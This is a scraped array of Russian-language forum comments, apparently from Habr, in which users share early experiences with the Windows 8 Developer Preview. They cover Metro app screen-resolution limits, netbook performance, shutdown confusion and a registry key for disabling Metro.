утром, скорость была ~2.5 мБайт в секунду.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Уже понял, не заметил, что вы автор.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Cкажите, где она — посмотрю у себя, если там не пусто — дам.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">С маленького, 32хбитного.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Метро-приложения не запускаются, если разрешение экрана по вертикали меньше 768 px</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">О!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У вас, я так понимаю, 1280*600?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Расскажите пожалуйста, стоит ли ставить андроид, и если да, то есть ли с этим какие-то трудности.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сейчас у меня ~200 КБ/сек выдавало по HTTP, с торрентов 1,2 МБ/сек</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, подцепил внешний монитор — стало запускаться. Спасибо, одной тайной меньше. Надеюсь, что к релизу исправят.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">1024х600.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поставил на VirtualBox, офигел когда захотел по человечески выключить, так кнопку выключения компа и не нашел…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне больше интересно удобно ли будет пользоваться 8й на обычном компе</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Либо Alt-F4, либо вытягиваете панельку Settings — там есть кнопка отключения.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Андроид 3.2 для x86, в принципе, к использованию пригоден, даже маркет работает. Но софт работает не весь, многие игры не запускаются. Плюс проблемы с энергосбережением, под андроидом потерял примерно час работы планшета — он как-то странно управляет процессором и большую часть времени он шпарит на полной частоте. Подвисает иногда.<br/>\r\n<br/>\r\nВыбирая «семерка или андроид» все же выберу семерку, она стабильнее, пусть и менее удобна при управлении пальцами. Но под мои задачи хватает. Хотя сейчас все же основной планшеткой стал Asus Transformer, там третий андроид живет полноценно. ;) </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Думаю, что особых проблем не будет — там же под оболочкой метро прячется обычная винда, с таскабаром и десктопами.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>У меня даже IE из метро не запускался, только из панели задач.</blockquote><br/>\r\nУ меня так было в виртуалке с разрешением 800x600, увеличение разрешения до 1280x800 позволило запустить Metro IE.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А мне какой потенциал у нового API, чтобы можно сделать вывод куда они двигаются. Надеюсь автор допишет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо, буду знать, правда снёс её уже… Вот только каждому юзеру про ето надо при загрузке писать, причём каждый раз )))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ctrl+alt+del</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">нажатие кнопки «power» на виртуальной машине эффективнее получилось</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня комп в таком… эээм… виде, что кнопки включения там нету совсем :(</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ужас какой. Ещё год пилить минимум. Да и планшеты н x86 жить от этого дольше не станут</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это прискорбно…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Внесу свои 5 копеек о впечатлениях. Поставил на Lenovo S12 (Intel GMA).<br/>\r\nВсе <u>очень</u> медленно работает. На этом же нетбуке у меня стояла семерка, которая с фотошопом и WebStorm IDE ворочалась прекрасно. Стояла убунта со всеми своими рюшечками, тоже кодил в ней без проблем. Сейчас стоит хакинтош, все условно работает хорошо.<br/>\r\nА вот Win 8 работает ужасно. Приложение с погодой подвешивает систему (75% процессора кушает). IE открывает панельку с табами не с первой попытки и с тормозами. Нормально, приемлемо, работает хром и другие приложения не завязанные на metro. <br/>\r\nВыходит, не для стареньких атомов уже система.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> удобно ли будет пользоваться 8й на обычном компе<br/>\r\n<br/>\r\nВ MS искренне надеятся, что к моменту релиза Win8 обычным компом станет планшет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы забываете, что это даже не бета :) Эт раз. Два — на атомах нету внеочередного исполнения инструкций, поэтому с производительностью всё очень и очень печально. Лично у меня система наоборот работает намного шустрее семерки, правда и комп — не нетбук.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если бы оно работало так же, как семерка…<br/>\r\nУ вас, кстати, семерка свежей установки? Ведь, я уверен, восьмерка свежая :) Нужно еще и это учесть.<br/>\r\nБуду следить за темой, выйдет обновление — обязательно поставлю посмотреть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На стареньком атоме в лице Samsung NC10 всё прекрасно заработало, правда почти все драйвера пришлось установить вручную, думаю что из-за того что карточку WiFi/WiMAX не определил и не смог всё скачать из Windows Update. Не запускаются, конечно, Metro приложения, но памяти потребляет таки меньше, чем Windows 7 — как и обещали на презентации.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Может, я что-то делаю не так, но семёрку не переустанавливал с момента выхода RTM и никакого падения производительности не заметил со временем :) А в Windows 8 есть ощущение что все эффекты анимации при разворачивании окон и т.п. сделали чуточку быстрее. Вот и весь секрет скорости…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Семерке было недели две, набор софта идентичный, я просто не так давно поменял ссд по гарантии, так что сравниваю вплоне адекватно :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Подключите внешний экран, уже обнаружили, что метро-приложения не стартуют, если высота экрана меньше 768 пх</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">круговорот <a href=\"http://ru.wikipedia.org/wiki/Unity_%28%D0%BE%D0%B1%D0%BE%D0%BB%D0%BE%D1%87%D0%BA%D0%B0_%D1%80%D0%B0%D0%B1%D0%BE%D1%87%D0%B5%D0%B3%D0%BE_%D1%81%D1%82%D0%BE%D0%BB%D0%B0%29\">Unity</a> в природе =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хм… Нашёлся несогласный. С чем вы несогласный, человек? С тем, что ещё работать и работать (win 8 будет в сентябре 2012)? Или с тем, что x86 не станут есть меньше батареи и меньше греться?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поставить ссд в нетбук мне тоже не помешало бы :) Думаю подобные проблемы отпали бы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это идея, поставлю я, наверное, драйвера на видео нормальные.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так про это ещё на презнтации было сказано, про ограничения на работу Metro приложений. С ними я поигрался на основном ПК :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня немного не нетбук: квад9550 на 3.5 ггц, 8 гиг рам и 6970 :) Самую малость не нетбук…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Skype у кого нибудь работает? у меня не вылетает при авторизации.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">*вылетает</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня таскбар слева был ещё когда юнити в планах не было :) Теперь понятно, откуда они слизали его :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да-да, я вас понял. Только без паники.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На первый взгляд несовместимые.<br/>\r\nНо риббон — это в каком-то роде предшественник метро, и суть у них похожая: кнопки/действия организованы в категории, при выбора категории, в ней открываются большие кнопки команд. Осталось только сделать табы покрупнее под пальцы и дизайн иконок в риббоне в стиле метро. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Чтобы создать успешный продукт, нужно сначала сделать его сделать таким как видишь его ты, потом написать много обзоров (естественно, не забыв про Хабр), почитать комментарии и на основе их доработать! Мне кажется так делает большинство компаний — вот и Microsoft со своей Win8.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">угу и в менюшке пункта «закрыть» обычно нету)) </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">По моему опыту использования Metro на Windows Phone особых трудностей это пока не вызывало. Исключение составляют некоторые приложения, которые мудрят со стандартным видом элементов и цветами (н-р совсем непонятно что кликабельно а что нет в том же Foursquare). Мне кажется если бы первые буквы кликабельных надписей имели подчеркивание или какую-либо другую, пусть даже еле заметную отличительную черту в некоторых случаях работать с интерфейсом было бы проще.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне одному кажется, что этим самым они позорятся?<br/>\r\nИм уже достаточно много лет, чтобы научиться делать всё пиздато, не первый раз систему выпускают же, а тут мусорок на весь инет выносят, теряют имидж…<br/>\r\n<br/>\r\nНа данный момент выглядит как 2 разных компа в 1ом, отвратительно…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Возможно… Засиделись они, считая себя самыми передовыми, теперь догоняют конкурентов. Будем надеятся из этого выйдет что-нибудь стоящее.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Дрова, вроде да — подходят от семерки.<br/>\r\nОднако, сделав оценку системы до установленых дров и после — был нежданчик — система оценки на видеоадаптеры понизила =( Не знаю уж чей косяк — мягких или нвидии…<br/>\r\nДа и в той студии обычные проекты не запускаются — надо еще фреймворк ставить четвертый — тоже неприятная неожиданность =(</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ну так если, например, галочка будет, то она и будет наверняка изменять этот ключ в реестре</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Игры не запускаются, так как многие используют NDК, который, пока, поддерживает только ARM бинарники.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Apple тоже много лет и они тоже раздают беты девелоперам.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я на ноут рабочий поставил. Вполне удобно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Работает. Проблем не было.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Какая версия? У меня тоже вылетает при авторизации.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">5.5.0.117</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я только не понимаю, где здесь мусорок? Я сто лет подобного шага ждал от МС и от метро в восторге. А пре-бета оно и есть пре-бета</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мож кому будет тоже интересно вчера установил на обычный настольный ПК.<br/>\r\n<a href=\"http://www.youtube.com/watch?v=mOnYTWMWxUk\">www.youtube.com/watch?v=mOnYTWMWxUk</a><br/>\r\n<br/>\r\nОщущения какието странные четно говоря. Надеюсь, что к обычному Aero с нормальным пуском тоже можно будет переходи. На планшете удобно конечно, но вот с мышкой не найс.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Skype вчера выпустили обновление для поддержки Windows 8</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А у меня в новой windows только одна проблема. При игре в старкрафт 2, если уводишь курсор к левой границе экрана, то мышка попадает на активную область переключения между metro и обычным десктопом, а клик сворачивает игру. Подскажите, пожалуйста, как решить данную проблему?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Скажите, а какая внутренняя версия у Windows 8? У семерки 6.1 была, если не ошибаюсь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Судя по keynote, версия ядра — 6.2, если я не ошибаюсь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><img src=\"https://habrastorage.org/r/w1560/storage1/47c1aecb/e966b681/5e1db100/9c584d79.png\" alt=\"image\" data-src=\"https://habrastorage.org/storage1/47c1aecb/e966b681/5e1db100/9c584d79.png\"/><br/>\r\n<br/>\r\n<img src=\"https://habrastorage.org/r/w1560/storage1/62946d5b/c696ee49/5c6394aa/6b11b4d0.png\" alt=\"image\" data-src=\"https://habrastorage.org/storage1/62946d5b/c696ee49/5c6394aa/6b11b4d0.png\"/><br/>\r\n<br/>\r\n<img src=\"https://habrastorage.org/r/w780q1/storage1/11439df8/61b79201/06e9a22f/7614e4fa.jpg\" alt=\"image\" data-src=\"https://habrastorage.org/storage1/11439df8/61b79201/06e9a22f/7614e4fa.jpg\" data-blurred=\"true\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Временно отключать метро ключем реестра, можно даже делать два ядрылка на включение и выглючение его, перезагрузка не требуется. <br/>\r\n<br/>\r\nНу или запустить игру в оконном режиме.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ничего общего</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Какие же страшные интерфейсы</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А у меня почему-то с контейнера установка не пошла. Точнее началась и остановилась на первом появлении цветного экрана. Окно с выбором языка и т.п. почему-то не появляется.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">странно, если бы было иначе, т.к. структура iso одинаковая, tool'зе нужно всего лишь распаковать iso на флэшку и прописать загрузчик..)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня таскбар слева с момента выхода 7ки. До этого пытался на ХР сделать, но из надписей получается каша. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а как запустили инсталяцию в VB? у меня при установке падает черным экраном.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поюзал это чудо на ноуте. Сразу видно, что предназначена для планшетов.<br/>\r\n<br/>\r\nЕще долго пытался понять как выключить комп. Пришлось пройти квест Log off — Shutdown. Иначе никак =(</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Щелкаете по иконке пользователя, выбираете Log Off, он выпадает в локскрин, затем выходите на экран где логинитесь, там и находится искомая вами кнопка.<br/>\r\nНашел сразу, как только начали задавать такие вопросы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А всего лишь, надо выключить комп… </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а вы попробуйте выключить десктопную семерку ;)<br/>\r\nне железной кнопочкой.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Start -> Shut Down, 2 клика =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">да, сорри, протупил.<br/>\r\nтам в 4 клика выходит.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Просто оформление таскбара похоже. И кроме того, меня посетило запоздалое прозрение =), всё удивлялся зачем в Unity так не экономно расходуется место. А для использования на планшетах пожалуй удобно, не промахнешься.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Чтобы выключить компьютер надо нажать метро-Пуск, сбоку в зеленой менюшке Power, а там и Shutdown и Restart есть. Все просто :).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Насчет ярлыков — спасибо, дельная идея!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В параметрах виртуальной машины (System → Motherboard) надо поставить галочку Enable IO APIC.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Зачем они вернули кнопку «Вверх на 1 уровень»? оО</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А почему бы и нет? Порой это весьма удобно, да и перешедшему с XP, а не 7ки привычнее.<br/>\r\nПо backspace случайно не работает? Было бы вообще шикарно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Alt+вверх<br/>\r\nBackspace — это для «Назад».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ну так есть интерактивная адресная строка</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Но «перешедшему с XP, а не 7ки привычнее.». Использование адресной строки далеко не очевидно. Я, далеко не чайник, обнаружил эту возможность только через несколько месяцев, да и то вроде случайно. Сейчас да, удобно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">СТранно, потому что Мягкие много твердили о своей новой адресной строке</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мы вам не мешаем спорить?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пресс-релизы и мануалы не читал) Как, пожалуй, и большинство юзеров.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да и вообще, microsoft не дураки, если вернули кнопку — значит, была нужда.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ой, заминусовали… как мило.<br/>\r\n<br/>\r\nДа нет, конечно пиздатый шаг от МС и я очень рад Метро. Понимаете, я не понимаю нахрена выпускать пре-бета…<br/>\r\nВ этом и заключается мусорок — они не продумали ещё всё и система мега сырая и хотят, чтобы мы начали подрачивать на картиночки (которые на самом деле так себе). <br/>\r\nЛучше бы выпустили хороший продукт на рынок просто.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Они не хотят, чтобы мы подрачивали на картиночки, они хотят чтобы мы эти картиночки вживую взяли и посмотрели что и как. Или вы на конструктивную критику не способны? Сами-то 8ку в руках держали? Прекрасная система, достойная последовательница семерки. А то, что они дают SDK, чтобы разработчики могли приготовиться к выходу ОС — вообще шик. Или вас не раздражает что выходит новая версия ОС а потом полгода ждешь пока нужные программы обновятся?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">СДК, товарищ! Интерфейсы почти готовы, всё, писать можно (по крайней мере пытаться и осваивать/копать/смотреть что где как). <br/>\r\n<br/>\r\nА как вы вообще фидбек получть должны? у МС отлично налажен этот канал (ну по крайней мере я вижу как они читают/отвечают и иногда даже исправляют ВП7).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Более или менее, но не в серьёзных целях, пока. Очень мышка тянется к пуску, которого нет…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ахаха :D мультиакк детектед))) </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А что, что-то изменилось, кроме рабочего стола?<br/>\r\nИ не нужно, друзья, говорить, что мол это же превью — всё как есть в превью, за мелкими изменениями будет и в конечном результате.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я конечно не интерфейсо-специалист, но как архитектор могу сказать, что интерфейсы выглядят очень сыро. <br/>\r\nВ статье написанно «заточенность под планшеты», как они заточенны под планшеты если для установки нужно искать клаву… Ну серьезно… о чем они думали.<br/>\r\n<br/>\r\nФидбек как получать? У них не достаточно денег чтобы протестить свой собственный продукт? Смешно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тоже слева — это все из-за широкоформатных экранов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну мне кажется я достаточно конструктивно откомментировал то, что они сделали, я откомментировал это как маркетинговую стратегию, их подход просто не работает. И да, подержал на виртуале, так себе.<br/>\r\n<br/>\r\nМеня лично не слишком раздражает, у меня как-бы заботы другие.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Далась вам эта «боковая панель»… Это называется панель задач, taskbar. В винде она начиная с 95, иконками — начиная с семерки. А слева я ее ставлю начиная с появления широкоэкранных мониторов. В моем случае — с Windows XP.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><i>В статье написанно «заточенность под планшеты», как они заточенны под планшеты если для установки нужно искать клаву… Ну серьезно… о чем они думали.</i><br/>\r\n<br/>\r\nА вы много знаете ОС, которые устанавливаются на компьютер без использования клавиатуры? Если что, то явно планшетная ios для первого включения не то, что клавиатуру хочет, а целый компьютер.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот «пуск», на мой взгляд, абсолютно не похож. У MS — полноэкранная лента с квадратными кнопками, а у юнити — просто окошко с иконками.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Будем надеятся, что в будующем этих явных недостатков не будет вот и всё.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нет, это Control Panel. «Пуск» — это первый скриншот, прямоугольники на зеленом фоне.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если dash это то, что служит убунтовским аналогом меню «пуск», то видел. За линзы не поручусь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Необходимость использования клавиатуры для начала установки ОС — это не недостаток, на мой взгляд. Не могу представить ситуацию, в которой надо переустановить ОС, но нет возможности подключить клавиатуру.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не, совсем не похоже на восьмерку. Такая функциональность в ней, в принципе, имеется, но совсем в другом исполнении и с другой стороны прикручено. </div>" ], "message_markdown": [ "«Изменили виртуальную клавиатуру, стало несколько удобнее — теперь привязывается к краю экрана, не меняя размеры окна, стала крупнее»\n— а что происходит если нужно что то напечатать в нижней части экрана?\nклавиатура закрывает текст или как?", "Адский контраст между элементами Metro и Ribbon + привычный UI. Безумие, не спорю, что должно в итоге быть хорошо, но этот контраст убивает, на корню.", "Переползает в верхнюю половину экрана. Но вообще ее можно спокойно отцепить от края и таскать по экрану. Или менять размеры.", "Ну, это даже не публичная бета еще, так что надо быть снисходительнее.", "Сегодня установил на похожий планшет Atom Z530 (1,6GHz)/2GB RAM/32 GB SSD. Дрова GMA 500 стали не сразу, остальное подхватилось быстро. Так и не смог завести чтобы запускались Погода, Новости, магазин Приложений. После подключения записи Live, Metro вообще пропал, голый зеленый экран, ничего не отображалось более. Также интересно где IE 10... не увидел его.", "Кстати, радует что Windows 7 USB DVD Download Tool прекрасно понял образ 8-ки и залил на флешку.", "На IE плохо смотрели, он там вполне десятый. Только вот тач-интерфейс для него, как на скриншотах в обзорах, я еще не встретил.\nИз «Метро» у меня вообще ничего не запускается, работают только кнопки «десктоп», «панель управления», «эксплорер» и IE, да и то не всегда.\nКстати, проводили пальцем от края экрана к центру? ;)", "Мне проще, у меня залмановский контейнер для винта с поддержкой iso имеется.", "Про ARM версию ничего пока не слышно?", "Странно, у меня на сенсорном нетбуке работает почти весь метро, кроме маркета.", "> можно ли добыть старый пуск — пока не выяснял\nMetro отключается в реестре:\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer изменить RPEnabled с 1 на 0", "нет, к скачке доступны только х64 и х86 версии, брать здесь.", "Слушайте, а цвет метро в реестре не изменить? А то меня укачивает этот зелёный )", "У меня даже IE из метро не запускался, только из панели задач.\nДа, я версию и не смотрел, не обнаружил тач-интерфейса для него, чтобы миниатюры вкладок вверху отображались и тд., поэтому и решил что он 9-й.\nНу, я видео с презентации смотрел, поэтому все жесты запомнил, слева панель выезжает. Справа окна как в MeeGo на Nokia «разворачиваются».\nКлавиатура действительно удобная, но все еще глюкавит в интерфейсе чуть-чуть. Сразу после установки, скачалось 70Мб обновлений, какие-то хот-фиксы, может еще что-то скоро появится. Обидно что драйверов к железу она не ищет пока-что.", "Это, к слову, отключит Ribbon в Explorer. Так что если хочется только Metro отключить, надо искать другой путь.", "То есть наоборот, панели расположены — это я насчет жестов.", "Да вот я тоже в недоумении, потому что люди отписываются о работоспособности всяких там рсс-ридеров и т.п.", "Не только риббон, ещё и часть софта теряет новый вид:\n(увеличение по клику, около 600кб)", "Кстати, вы какую исошку брали — «with developer tools» (4,8 гига) или маленькую?", "и сама кнопка Windows тоже теряет Metro-стиль. В общем, получается эдакая «семёрка», в которой не всё работает и иногда что-то новое вылезает. Я уже успел попробовать синхронизацию настроек пользователя через LiveID, не хочется обратно... Но пока Metro, всё же, не доработано. Надо ждать beta или RC", "Метро-приложения я так понимаю закрывать нельзя?) Только убивать процесс через диспетчер задач?\nПо крайней мере крестика там нет и всякие alt+f4, ctrl+q и т.д. не работают.", "Как-то сильно недопиленно выглядит.", "Так preview, даже не бета! И думаю не альфа.", "Вижу первую проблему Метро — контролы не отличаются от обычного текста и неясно, контролы ли они вообще. Это только мне кажется?", "Маленькую, большая не флешку не лезла. Потом мне оказалось лень писать её на флешку, я её смонтировал в виртуальный привод и тупо запустился с него. Работает.", "Кнопка Windows теряет стиль как-то через раз :) А вот остальной интерфейс отваливается сразу же по перезапуску софта. Забавно, что всё это действо не требует ребутов.", "win+Z во многих открывает менюшку. И они сами на суспенд становятся обычно при сворачивании.", "Очень хорошее дело это – 8-ка. Получается по габаритам как ipad, по возможностям – полноценный офисный ПК (есть еще взять подставку, клаву, мышку и монитор)).\nГлавный вопрос – сколько будет работать на заточенных под 8-ку девайсах?", "Самый странный глюк — куда-б вы не повесили таскбар — меню метро-пуска появляется при наведении в нижний левый угол основного монитора. У меня вот кнопка пуск сверху-слева, а менюшка — снизу.", "Обычные ноуты на семерке уже спокойно работают по 8 часов на 6-ячеечной батарейке. Asus 1215b тому пример.", "Обычно после Milestone 3 идёт фичерфриз. Майлстоун 3 уже был, поэтому в течение месяца, наверное, заморозят добавку новых плюшек для золотого кода. Если уже не заморозили. Сейчас будут болячки лечить.", "А вот у меня что-то не хочет. :(\nТо ли эти приложения не установились...\nНашел папку с *.app файлами (пишется, что ярлык), ведущими в никуда.", "Немного странно читать про «декоративный» метро. У меня (Acer iconia tab w500) работает полностью все метро приложения (маркет не работает, но прямо об этом заявляет). ИЕ в метро варианте, а не как на скриншоте в статье, вообще супер для планшета. В общем, обзор весьма куцый.", "Я стараюсь, но пока все идет к тому, что Ribbon 100% будет, ровно как и Metro. А это, извините меня, вообще несовместимые вещи, как мне кажется.", "ИЕ метро, кстати, пропадает, как только дэфолт-браузером назначите что-нить другое.", "Как это ОС может быть по габаритам как ipad? :)\nНа счет того, сколько будет работать... От планшетов на х86 много не ждите. Они либо легкие, но работают недолго, либо работают долго, но весят килограмма полтора.\nА сколько будут работать восьмерочные планшеты на ARM'e — посмотрим, когда появятся.", "А у меня вот ничего не запускается. :( И не знаю, почему.", "Скорость там сейчас очень маленькая, лучше с торентов качать www.torrents.net/torrent/1803613/WindowsDeveloperPreview-64bit-English-Developer.iso/ (там Web seed с сайта Microsoft прописан)", "Хм, ставились как? С какого образа?", "А планшет у вас какой?", "Главное — не сколько работать будут, а как будет с софтом для всего этого разнообразия-безобразия.", "Я качал рано утром, скорость была ~2.5 мБайт в секунду.", "Уже понял, не заметил, что вы автор.", "Cкажите, где она — посмотрю у себя, если там не пусто — дам.", "С маленького, 32хбитного.", "Метро-приложения не запускаются, если разрешение экрана по вертикали меньше 768 px", "", "У вас, я так понимаю, 1280*600?", "Расскажите пожалуйста, стоит ли ставить андроид, и если да, то есть ли с этим какие-то трудности.", "Сейчас у меня ~200 КБ/сек выдавало по HTTP, с торрентов 1,2 МБ/сек", "Да, подцепил внешний монитор — стало запускаться. Спасибо, одной тайной меньше. Надеюсь, что к релизу исправят.", "1024х600.", "Поставил на VirtualBox, офигел когда захотел по человечески выключить, так кнопку выключения компа и не нашел...", "Мне больше интересно удобно ли будет пользоваться 8й на обычном компе", "Либо Alt-F4, либо вытягиваете панельку Settings — там есть кнопка отключения.", "Андроид 3.2 для x86, в принципе, к использованию пригоден, даже маркет работает. Но софт работает не весь, многие игры не запускаются. Плюс проблемы с энергосбережением, под андроидом потерял примерно час работы планшета — он как-то странно управляет процессором и большую часть времени он шпарит на полной частоте. Подвисает иногда.\nВыбирая «семерка или андроид» все же выберу семерку, она стабильнее, пусть и менее удобна при управлении пальцами. Но под мои задачи хватает. Хотя сейчас все же основной планшеткой стал Asus Transformer, там третий андроид живет полноценно. ;)", "Думаю, что особых проблем не будет — там же под оболочкой метро прячется обычная винда, с таскабаром и десктопами.", "> У меня даже IE из метро не запускался, только из панели задач.\nУ меня так было в виртуалке с разрешением 800x600, увеличение разрешения до 1280x800 позволило запустить Metro IE.", "А мне какой потенциал у нового API, чтобы можно сделать вывод куда они двигаются. Надеюсь автор допишет.", "Спасибо, буду знать, правда снёс её уже... Вот только каждому юзеру про ето надо при загрузке писать, причём каждый раз )))", "ctrl+alt+del", "нажатие кнопки «power» на виртуальной машине эффективнее получилось", "У меня комп в таком... эээм... виде, что кнопки включения там нету совсем :(", "Ужас какой. Ещё год пилить минимум. Да и планшеты н x86 жить от этого дольше не станут", "Это прискорбно...", "Внесу свои 5 копеек о впечатлениях. Поставил на Lenovo S12 (Intel GMA).\nВсе очень медленно работает. На этом же нетбуке у меня стояла семерка, которая с фотошопом и WebStorm IDE ворочалась прекрасно. Стояла убунта со всеми своими рюшечками, тоже кодил в ней без проблем. Сейчас стоит хакинтош, все условно работает хорошо.\nА вот Win 8 работает ужасно. Приложение с погодой подвешивает систему (75% процессора кушает). IE открывает панельку с табами не с первой попытки и с тормозами. Нормально, приемлемо, работает хром и другие приложения не завязанные на metro.\nВыходит, не для стареньких атомов уже система.", "> удобно ли будет пользоваться 8й на обычном компе\nВ MS искренне надеятся, что к моменту релиза Win8 обычным компом станет планшет.", "Вы забываете, что это даже не бета :) Эт раз. Два — на атомах нету внеочередного исполнения инструкций, поэтому с производительностью всё очень и очень печально. Лично у меня система наоборот работает намного шустрее семерки, правда и комп — не нетбук.", "Если бы оно работало так же, как семерка...\nУ вас, кстати, семерка свежей установки? Ведь, я уверен, восьмерка свежая :) Нужно еще и это учесть.\nБуду следить за темой, выйдет обновление — обязательно поставлю посмотреть.", "На стареньком атоме в лице Samsung NC10 всё прекрасно заработало, правда почти все 